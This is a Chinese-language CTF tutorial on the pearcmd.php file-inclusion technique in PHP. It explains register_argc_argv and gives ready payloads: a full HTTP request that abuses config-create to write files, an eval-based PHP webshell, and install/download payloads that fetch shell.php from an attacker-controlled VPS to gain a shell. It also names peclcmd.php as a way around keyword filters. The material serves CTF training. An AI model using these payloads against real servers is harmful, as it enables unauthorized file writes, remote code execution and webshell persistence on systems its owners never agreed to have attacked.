基础知识

pearcmd.php

PEAR是是 PHP 的扩展与应用库仓库(PHP Extension and Application Repository),提供了大量可复用的 PHP 库和工具,方便开发者安装和管理第三方 PHP 资源。而 pearcmd.php 是 pear 工具的核心执行文件,是具体实现 pear 功能的脚本。当用户在命令行中使用 pear 命令(如安装、更新扩展)时,实际上是通过调用 pearcmd.php 来完成相关操作的。(PEAR的使用前提register_argc_argv必须开启)

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

在docker任意版本的镜像中,pcel/pear都会默认安装,而路径则是:
/user/local/lib/php

我们如果要利用pear.cmd的话,首先肯定是题目存在文件包含漏洞 ,或者说文件包含利用点,然后就是和oearcmd最相关的一个配置项:register_argc_argv必须设置为on,再然后的条件就是我们需要确定pearcmd.php的位置,通常都是/usr/local/lib/php

register_argc_argv

这个配置简述一下就是:
根据RFC3875的规定,如果query-string中不包含没有编码的=,且请求是GET或HEAD,则query-string需要被作为命令行参数。也就是说,可以通过特殊的方式实现在web服务器下使用http协议传递命令行参数,换句话说就是我们可以通过GET传参使用系统命令(可以调用pear命令)。

query-string 是 URL 中 ? 后面的部分,例如:

(1)在 URL http://example.com/search?keyword=php&page=1 中,keyword=php&page=1 就是 query-string。

(2)它通常由一组 键=值 对组成,不同键值对之间用 & 分隔(如 key1=val1&key2=val2)。

在命令行模式下和docker中这个参数是默认开启的,而在web服务器下又是关闭的

当我们开启了这个配置时,用户的输入将会被赋予给$argc、$argv、$_SERVER[‘argv’]几个变量。

这个配置一定要打开,不然pear就拿不到command

这个参数开启的情况下,举一个例子:命令行参数通过:

1
$argv

例如:

1
php test.php hello world

在 PHP 里:

1
2
3
$argv[0] = test.php
$argv[1] = hello
$argv[2] = world

命令

config-create

一下是一些在pear中可以利用的参数,其中config-creat肯定是用的最多的了

image-20260312201600542

config-create是 PEAR 工具的一个合法命令,用途是根据一个 “模板文件” 生成 PEAR 的配置文件

这个方法有两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php

或者:

?file=/usr/local/lib/php/pearcmd.php&+config-create+/+/tmp/test.php

完整的数据包如下:

1
2
3
4
5
6
7
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

发送这个数据包,目标将会写入一个文件/tmp/hello.php,其内容包含<?=phpinfo()?>,这里写入文件的内容应该是/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>一整句话,另外,直接写入<?=@eval($_POST['cmd']);?>可能会在输出的时候重复输出很多次,可以多加一个die:

1
<?=@eval($_POST['cmd']);die()?>

成功写入文件后,利用文件包含漏洞包含该文件即可实现getshell

这里的加号其实就是空格经过url编码的样子,上面的payload可以拆分一下:

? +config-create+/
& file=/usr/local/lib/php/pearcmd.php
& /+/tmp/hello.php


当然以上只是其中一种方法,这里还有install方法和download方法

install

除了上面的方法我们还可以使用install方法:

1
pear install http://[vps]:[port]/test1.php

这里是在vps上下载test1.php至本网站

所以,可以从外面将shell文件下载进来然后进行getshell,install有--installroot这个选项可以指定他的安装目录,这里可以构造payload远程下载我们的文件了

payload如下

1
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/shell.php

或

1
/?file=/usr/local/lib/php/peclcmd.php&+install+http://vps/shell.php

不难看出这串payload所下载的文件的保存地址在 &file=/usr/local/lib/php/pearcmd.php&/tmp/pear/download/路径下面,这里可能会遇到一些有关配置方面的问题,因为名为&file=/usr/local/lib/php/pearcmd.php&的文件夹是新创建的,而用户并没有权限对其进行写操作,会导致利用失败

但是,除此之外install命令还有另外一种利用的姿势,payload如下:

1
file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://[vps]/shell.php
download

这个比上面install舒服点,这个直接下载到web目录了,不用提前知道web目录具体路径

先看用法:

1
2
pear download [option] [package]
这里的option只有一个-Z, --nocompress,下载一个未压缩的tar包

这里可以这样使用:

1
pear download http://[vps]:[port]/test1.php

所以payload可以构造为:

1
/?file=/usr/local/lib/php/peclcmd.php&+download+http://vps/1.php

或

1
?+download+file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test1.php&

如果pearcmd被ban怎么办

如果pearcmd关键词被ban,可以用peclcmd.php作为平替,在这个php文件当中其实就是引入了pearcmd.php

例题

[NewStarCTF 公开赛赛道]IncludeTwo